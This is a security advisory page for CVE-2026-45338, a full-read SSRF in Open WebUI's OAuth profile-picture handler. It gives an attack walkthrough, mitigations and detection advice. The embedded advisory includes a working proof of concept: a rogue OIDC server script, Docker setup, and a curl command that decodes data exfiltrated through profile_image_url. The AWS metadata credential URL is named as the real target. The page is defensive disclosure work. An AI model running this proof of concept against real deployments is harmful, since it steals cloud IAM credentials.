CVE-2026-45338: open-webui: SSRF via OAuth picture claim leaks internal data

GHSA-24c9-2m8q-qhmh HIGH CISA: TRACK*
Published May 14, 2026
CISO Take

Open WebUI ≤ 0.8.12 contains a full-read Server-Side Request Forgery in its OAuth profile picture handler: the server fetches any URL supplied in an OIDC `picture` claim without the input validation it consistently applies everywhere else in the same codebase. Any attacker who can set their OAuth profile picture URL — including a legitimate user of a trusted IdP such as Okta or Azure AD — can force the Open WebUI server to fetch AWS IMDSv1 (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`) and similar internal endpoints, with the complete response base64-encoded and stored in `profile_image_url` for the attacker to read back via `/api/v1/auths/`. Open WebUI has accumulated 91 CVEs and is the dominant self-hosted LLM chat UI, making this a high-value lateral movement entry point into cloud-hosted LLM infrastructure. Patch to v0.9.0 immediately; if patching is delayed, disable `ENABLE_OAUTH_SIGNUP` and `OAUTH_UPDATE_PICTURE_ON_LOGIN`, block server egress to 169.254.0.0/16 and RFC-1918 ranges, and enforce AWS IMDSv2 with hop-limit=1.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

High (CVSS 7.7, AV:N/AC:L/PR:L/UI:N/S:C/C:H). The SSRF is full-read — not blind — meaning an attacker recovers the complete HTTP response body through the application's own API, trivializing IAM credential exfiltration in cloud environments. The attack requires only a valid account on the configured OAuth provider, placing it within reach of any insider or lightly privileged external attacker. No public Nuclei template or confirmed KEV listing yet, but the fully functional PoC published in the GitHub Advisory lowers exploitation to script-kiddie level. Cloud-hosted Open WebUI deployments without IMDSv2 enforcement are at immediate risk of EC2 role credential theft and potential full cloud account compromise.

How does the attack unfold?

Initial Access
Attacker sets their OIDC account profile picture URL to an internal target (e.g., http://169.254.169.254/latest/meta-data/iam/security-credentials/) and initiates OAuth login to Open WebUI.
AML.T0049
SSRF Execution
Open WebUI's _process_picture_url() fetches the attacker-supplied URL without validate_url() validation, issuing a server-side HTTP GET to the internal resource from the application's network context.
AML.T0106
Data Exfiltration
The full HTTP response body is base64-encoded and stored as the user's profile_image_url in the database; attacker reads it back via GET /api/v1/auths/ with their session token.
AML.T0025
Credential Abuse
Attacker decodes the exfiltrated base64 blob to recover cloud IAM credentials (AccessKeyId, SecretAccessKey, SessionToken) and uses them to access downstream AWS services hosting model weights, databases, or secrets.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.8.12 0.9.0
143.3K Pushed 8d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
7.7 / 10
EPSS
0.4%
chance of exploitation in 30 days
Higher than 30% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Changed
C High
I None
A None

What should I do?

5 steps
  1. Patch: Upgrade to open-webui 0.9.0, which adds validate_url() before fetching picture URLs, consistent with the existing pattern in utils/files.py and routers/images.py.

  2. Immediate workaround: Set ENABLE_OAUTH_SIGNUP=false and OAUTH_UPDATE_PICTURE_ON_LOGIN=false to disable both vulnerable code paths entirely.

  3. Network egress control: Block outbound HTTP from the Open WebUI container to 169.254.0.0/16 (link-local), 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 at the firewall or security group level regardless of patch status.

  4. AWS IMDSv2: Enforce IMDSv2 with HttpTokens=required and HttpPutResponseHopLimit=1 on all EC2 instances running Open WebUI; this blocks SSRF-based metadata access even if the vulnerability is triggered.

  5. Detection: Search application logs and database for profile_image_url values containing data:text/ MIME types or base64 blobs encoding non-image content; monitor outbound HTTP connections from the Open WebUI container to RFC-1918 or link-local addresses.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk Management System
ISO 42001
A.6.2 - AI system design and development
NIST AI RMF
MANAGE 2.2 - Mechanisms are in place to sustain the value of deployed AI systems
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-45338?

Open WebUI ≤ 0.8.12 contains a full-read Server-Side Request Forgery in its OAuth profile picture handler: the server fetches any URL supplied in an OIDC `picture` claim without the input validation it consistently applies everywhere else in the same codebase. Any attacker who can set their OAuth profile picture URL — including a legitimate user of a trusted IdP such as Okta or Azure AD — can force the Open WebUI server to fetch AWS IMDSv1 (`http://169.254.169.254/latest/meta-data/iam/security-credentials/`) and similar internal endpoints, with the complete response base64-encoded and stored in `profile_image_url` for the attacker to read back via `/api/v1/auths/`. Open WebUI has accumulated 91 CVEs and is the dominant self-hosted LLM chat UI, making this a high-value lateral movement entry point into cloud-hosted LLM infrastructure. Patch to v0.9.0 immediately; if patching is delayed, disable `ENABLE_OAUTH_SIGNUP` and `OAUTH_UPDATE_PICTURE_ON_LOGIN`, block server egress to 169.254.0.0/16 and RFC-1918 ranges, and enforce AWS IMDSv2 with hop-limit=1.

Is CVE-2026-45338 actively exploited?

No confirmed active exploitation of CVE-2026-45338 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-45338?

1. Patch: Upgrade to open-webui 0.9.0, which adds `validate_url()` before fetching picture URLs, consistent with the existing pattern in `utils/files.py` and `routers/images.py`. 2. Immediate workaround: Set `ENABLE_OAUTH_SIGNUP=false` and `OAUTH_UPDATE_PICTURE_ON_LOGIN=false` to disable both vulnerable code paths entirely. 3. Network egress control: Block outbound HTTP from the Open WebUI container to 169.254.0.0/16 (link-local), 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 at the firewall or security group level regardless of patch status. 4. AWS IMDSv2: Enforce IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` on all EC2 instances running Open WebUI; this blocks SSRF-based metadata access even if the vulnerability is triggered. 5. Detection: Search application logs and database for `profile_image_url` values containing `data:text/` MIME types or base64 blobs encoding non-image content; monitor outbound HTTP connections from the Open WebUI container to RFC-1918 or link-local addresses.

What systems are affected by CVE-2026-45338?

This vulnerability affects the following AI/ML architecture patterns: AI chat interfaces, LLM inference deployments, OAuth-enabled AI platforms, Cloud-hosted ML workloads.

What is the CVSS score for CVE-2026-45338?

CVE-2026-45338 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.38%.

What is the AI security impact?

Affected AI Architectures

AI chat interfacesLLM inference deploymentsOAuth-enabled AI platformsCloud-hosted ML workloads

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0075 Cloud Service Discovery
AML.T0091.000 Application Access Token
AML.T0106 Exploitation for Credential Access

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.2
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM02:2025

What are the technical details?

Original Advisory

## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. ## Vulnerable Code ```python # backend/open_webui/utils/oauth.py, line ~1337-1345 async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: # No validate_url() call here async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ``` The codebase already uses `validate_url()` for the same SSRF protection pattern in other paths: - `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)` - `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)` The omission in `_process_picture_url()` is inconsistent with the project's own security practices. ## Affected Code Paths 1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get('access_token'))` 2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` ## Steps to Reproduce ### Prerequisites - Open WebUI instance with generic OIDC OAuth configured - `ENABLE_OAUTH_SIGNUP=true` ### Setup **1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint: ```python """Minimal OIDC PoC server - save as poc_oidc.py""" from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse SSRF_TARGET = "http://host.docker.internal:9000/canary" CANARY = "SSRF_CONFIRMED_OPEN_WEBUI" class Handler(BaseHTTPRequestHandler): def do_GET(self): path = urllib.parse.urlparse(self.path).path query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) if path == "/.well-known/openid-configuration": self._json({"issuer":"http://host.docker.internal:9000", "authorization_endpoint":"http://localhost:9000/authorize", "token_endpoint":"http://host.docker.internal:9000/token", "userinfo_endpoint":"http://host.docker.internal:9000/userinfo", "jwks_uri":"http://host.docker.internal:9000/jwks", "response_types_supported":["code"],"subject_types_supported":["public"], "id_token_signing_alg_values_supported":["RS256"], "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]}) elif path == "/authorize": ru = query.get("redirect_uri",[""])[0] st = query.get("state",[""])[0] self.send_response(302) self.send_header("Location", f"{ru}?code=poc-code&state={st}") self.end_headers() elif path == "/userinfo": self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}) elif path == "/jwks": self._json({"keys":[]}) elif path == "/canary": self.send_response(200) self.send_header("Content-Type","text/plain") body = CANARY.encode() self.send_header("Content-Length",len(body)) self.end_headers() self.wfile.write(body) print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!") else: self.send_response(404); self.end_headers() def do_POST(self): if "/token" in self.path: self._json({"access_token":"tok","token_type":"bearer","expires_in":3600, "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}}) def _json(self, d): b = json.dumps(d).encode() self.send_response(200) self.send_header("Content-Type","application/json") self.send_header("Content-Length",len(b)) self.end_headers() self.wfile.write(b) HTTPServer(("0.0.0.0", 9000), Handler).serve_forever() ``` **2. Run the PoC server:** ```bash python3 poc_oidc.py ``` **3. Start Open WebUI with Docker:** ```bash docker run -d -p 3000:8080 \ --name owui-ssrf-test \ --add-host=host.docker.internal:host-gateway \ -e ENABLE_OAUTH_SIGNUP=true \ -e WEBUI_AUTH=true \ -e OAUTH_CLIENT_ID=test-client \ -e OAUTH_CLIENT_SECRET=test-secret \ -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \ -e OAUTH_PROVIDER_NAME=TestOIDC \ -e "OAUTH_SCOPES=openid email profile" \ ghcr.io/open-webui/open-webui:main ``` **4. Create an admin account** at `http://localhost:3000`, then sign out. **5. Click "Continue with TestOIDC"** on the login page. **6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!` **7. Verify exfiltrated data is stored and readable:** ```bash curl -s http://localhost:3000/api/v1/auths/ \ -H "Authorization: Bearer <session-token>" | python3 -c " import sys, json, base64 data = json.load(sys.stdin) url = data.get('profile_image_url', '') if 'base64,' in url: decoded = base64.b64decode(url.split('base64,',1)[1]).decode() print(f'DECODED: {decoded}') " ``` **Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI` The server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API. ## Impact An attacker can force the Open WebUI server to make HTTP requests to: - **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials - **Internal network services** not exposed to the internet - **Localhost-bound services** (Redis, Elasticsearch, internal APIs) This is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field. ## Configuration Note This vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all. ## Suggested Fix Apply `validate_url()` before fetching, consistent with existing patterns in the codebase: ```python from open_webui.retrieval.web.utils import validate_url async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: if not picture_url: return '/user.png' try: validate_url(picture_url) # Add this line # ... rest unchanged ```

Exploitation Scenario

An attacker with a standard account on the corporate OIDC provider (Azure AD, Okta, Google Workspace) used to authenticate Open WebUI edits their profile picture URL to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. They visit the Open WebUI login page and click 'Sign in with SSO'. The OAuth flow completes normally; in the background, `_process_picture_url()` issues a server-side GET to the metadata endpoint, reads the IAM role name and credential response, base64-encodes the JSON body, and stores it as `profile_image_url` in the user record. The attacker immediately calls `GET /api/v1/auths/` with their session token, decodes the base64 value, and recovers the EC2 instance role's `AccessKeyId`, `SecretAccessKey`, and `SessionToken` — credentials that in many deployments carry broad permissions over S3 buckets storing model weights, RDS instances, and AWS Secrets Manager entries containing third-party API keys.

Weaknesses (CWE)

CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 15, 2026

Related Vulnerabilities